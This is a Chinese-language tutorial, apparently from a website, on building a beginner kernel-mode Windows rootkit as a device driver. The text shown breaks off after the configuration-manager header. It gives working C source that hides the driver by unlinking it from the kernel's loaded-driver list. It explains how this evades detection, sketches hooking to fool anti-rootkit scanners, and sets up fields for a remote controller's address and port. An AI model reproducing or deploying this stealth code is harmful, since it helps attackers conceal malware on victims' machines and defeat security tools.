一、綜述 本文將引領讀者打造一個初級的內(nèi)核級Rootkit，然后為其引入兩種簡單的隱形技術：進程隱形技術和文件隱形技術。同時，為了讓讀者獲得rootkit編程的相關經(jīng)驗，我們順便介紹了rootkit的裝載、卸載方法，以及必不可少的測試技術。 本文介紹的Rootkit的主要構件是一個設備驅(qū)動程序，所以我們首先了解一下我們的第一個rootkit。 二、rootkit主體 本節(jié)引入一個簡單的rootkit實例，它實際上只給出了rootkit的主體框架，換句話說，就是一個設備驅(qū)動程序。那么為什么要用設備驅(qū)動程序作為主體呢？很明顯，因為在系統(tǒng)中，設備驅(qū)動程序和操作系統(tǒng)一樣，都是程序中的特權階級——它們運行于Ring0，有權訪問系統(tǒng)中的所有代碼和數(shù)據(jù)。還有一點需要說明的是，因為本例主要目的在于介紹rootkit是如何隱形的，所以并沒有實現(xiàn)后門之類的具體功能，。 我們將以源代碼的形式說明rootkit，對著重介紹一些重要的數(shù)據(jù)結構和函數(shù)。下面，先給出我們用到的第一個文件，它是一個頭文件，名為Invisible.h，具體如下所示： //Invisible.h：我們rootkit的頭文件
#ifndef _INVISIBLE_H_
#define _INVISIBLE_H_ typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE; typedef struct _DRIVER_DATA
{
LIST_ENTRY listEntry;
DWORD unknown1;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
} DRIVER_DATA; #endif
我們知道，應用軟件只要簡單引用幾個文件如stdio.h和windows.h，就能囊括大量的定義。但這種做法到了驅(qū)動程序這里就行不通了，原因大致有二條，一是驅(qū)動程序體積一般較為緊湊，二是驅(qū)動程序用途較為專一，用到的數(shù)據(jù)類型較少。因此，我們這里給出了一個頭文件Invisible.h，其中定義了一些供我們的rootkit之用的數(shù)據(jù)類型。 這里定義的類型中，有一個數(shù)據(jù)類型要提一下：雙字類型，它實際上是一個無符號長整型。此外，DRIVER_DATA是Windows 操作系統(tǒng)未公開的一個數(shù)據(jù)結構，其中含有分別指向設備驅(qū)動程序目錄中上一個和下一個設備驅(qū)動程序的指針。而我們這里開發(fā)的rootkit恰好就是作為設備驅(qū)動程序來實現(xiàn)，所以，只要從設備驅(qū)動程序目錄中將我們的rootkit（即驅(qū)動程序）所對應的目錄項去掉，系統(tǒng)管理程序就看不到它了，從而實現(xiàn)了隱形。 上面介紹了rootkit的頭文件，現(xiàn)在開始介紹rootkit的主體部分，它實際就是一個基本的設備驅(qū)動程序，具體代碼如下面的Invisible.c所示： // Invisible #include "ntddk.h"
#include "Invisible.h"
#include "fileManager.h"
#include "configManager.h" // 全局變量
ULONG majorVersion;
ULONG minorVersion; //當進行free build時，將其注釋掉，以防被檢測到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrint("comint16: OnUnload called.");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA* driverData; //取得操作系統(tǒng)的版本
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL ); // Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
// Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003 if ( majorVersion == 5 && minorVersion == 2 )
{
DbgPrint("comint16: Running on Windows 2003");
}
else if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint("comint16: Running on Windows XP");
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows 2000");
}
else if ( majorVersion == 4 && minorVersion == 0 )
{ DbgPrint("comint16: Running on Windows NT 4.0");
}
else
{
DbgPrint("comint16: Running on unknown system");
} // 隱藏該驅(qū)動程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject20));
if( driverData != NULL )
{
// 將本驅(qū)動程序的相應目錄項從項驅(qū)動程序目錄中拆下來
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
} // 允許卸載本驅(qū)動程序 pDriverObject->DriverUnload = OnUnload; // 為本Rootkit的控制器配置連接
if( !NT_SUCCESS( Configure() ) )
{
DbgPrint("comint16: Could not configure remote connection.\n");
return STATUS_UNSUCCESSFUL;
} return STATUS_SUCCESS;
}
Invisible.c是該rootkit的主體結構，其中包括入口函數(shù)DriverEntry和卸載函數(shù)OnUnload。操作系統(tǒng)加載該驅(qū)動程序時將調(diào)用入口函數(shù)。我們看到，在傳遞給入口函數(shù)的參數(shù)中有一個是DRIVER_OBJECT，它的作用是給出跟該驅(qū)動程序通信時所調(diào)用的函數(shù)的映射表。就本例而言，我們僅僅映射了一個函數(shù)pDriverObject-〉DriverUnload，這樣以來，當卸載驅(qū)動程序時，操作系統(tǒng)調(diào)用onunload函數(shù)就可行了。需要特別說明的是，這一點在rootkit開發(fā)過程中特別實用，不用重啟系統(tǒng)就可以卸載驅(qū)動程序，但是它卻帶來了一個大問題：容易被發(fā)現(xiàn)，所以在隱蔽性要求較高時不能使用，我們已經(jīng)在源代碼的相應部分給出了注釋。 下面我們看一下該rootkit如何實現(xiàn)隱形。我們將隱藏設備驅(qū)動程序的代碼摘錄如下： // 隱藏該驅(qū)動程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject20));
if( driverData != NULL )
{
// 將本驅(qū)動程序的相應目錄項從項驅(qū)動程序目錄中拆下來
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
}
為了達到不讓操作系統(tǒng)找到我們的rootkit設備驅(qū)動程序的目的，這段代碼修改了系統(tǒng)內(nèi)核中的一個內(nèi)部數(shù)據(jù)結構。系統(tǒng)中有一個雙向鏈表，專門記錄當前運行著的驅(qū)動程序，也就是說每個運行的驅(qū)動程序在該鏈表中都有一個對應的表項。像drivers.exe之類的應用程序，正是通過該鏈表來獲取設備驅(qū)動程序信息的，換句話說，如果從該鏈表中摘除本rootkit對應的表項，就能隱藏該rootkit的存在，從而躲過大多數(shù)的檢測。 細心的讀者也許會問：能藏起來固然是好，不過系統(tǒng)若僅通過該鏈表來感知驅(qū)動程序的存在的話，我們的這樣做豈不是自己把rootkit給干掉了？！的幸運的是，Windows操作系統(tǒng)的內(nèi)核使用另一個表來給各運行中的驅(qū)動程序分配時間，所以，即使從設備驅(qū)動程序列表清除rootkit相應的表項，我們的rootkit也照樣活得很自在。 利用該技術隱匿rootkit時，必須注意一點：如果已在我們的rootkit之前安裝了anti-rootkit軟件，“清除一個設備驅(qū)動程序表項”這一行為本身有可能被發(fā)覺，從而引起人們的注意。讀者會問：這該怎么辦呢？答案是，先記下本rootkit所對應的設備驅(qū)動程序表項的地址，然后鉤住鉤住檢查設備驅(qū)動程序鏈表的內(nèi)核函數(shù)，當這個函數(shù)要檢查該鏈表時，我們就有機會提前把保存的表項放回到設備驅(qū)動程序鏈表。當檢查過后，再將該表項摘除。這樣，在rootkit檢測程序看來，沒有人在設備驅(qū)動程序鏈表做手腳：反Rootkit軟件被我們忽悠了。不過該技術較為復雜，超出了本文的討論范圍，有機會我們會專文講解。 您可能已經(jīng)注意到，在Invisible.c中很多地方都使用了調(diào)試語句。事實上，DbgPrint語句基本上可以在rootkit中隨意放置。在本例中，我們使用DbgPrint語句用來監(jiān)視驅(qū)動程序的裝卸和錯誤狀態(tài)。不過該語句的輸出不會直接顯示到標準輸出設備即顯示器上，只有在DebugView程序的幫助下，我們才可以查看這些語句的輸出。除DebugView程序外，內(nèi)核程序調(diào)試工具也可以達此目的。另外，我們的調(diào)試語句還有一個特點，它們都以comint 32開頭，這樣做一方面是用以區(qū)別其他程序的調(diào)試語句的輸出。 另一方面利用comint 32這個詞是為了掩人耳目，因為這個詞很難讓人跟rootkit聯(lián)系到一塊。 三、配置管理器 我們的rootkit主體已經(jīng)建好，不過要想讓它干活，還得做些必要的配置。比如，如果需要對其進行遠程控制的話，就需要配置相應的連接。所以，我們還需要一個配置管理器，來完成配置rootkit的工作。下面是Rootkit配置管理器的頭文件： // configManager.h
// 配置管理器的頭文件 #ifndef _CONFIG_MANAGER_H_
#define _CONFIG_MANAGER_H_ Char masterPort[10];
Char masterAddress1[4];
Char masterAddress2[4];
Char masterAddress3[4];
Char masterAddress4[4]; NTSTATUS Configure(); #endif

版權聲明：本站文章來源標注為YINGSOO的內(nèi)容版權均為本站所有，歡迎引用、轉載，請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網(wǎng)站，禁止在非www.sddonglingsh.com所屬的服務器上建立鏡像，否則將依法追究法律責任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來，僅供學習參考，不代表本站立場，如有內(nèi)容涉嫌侵權，請聯(lián)系alex-e#qq.com處理。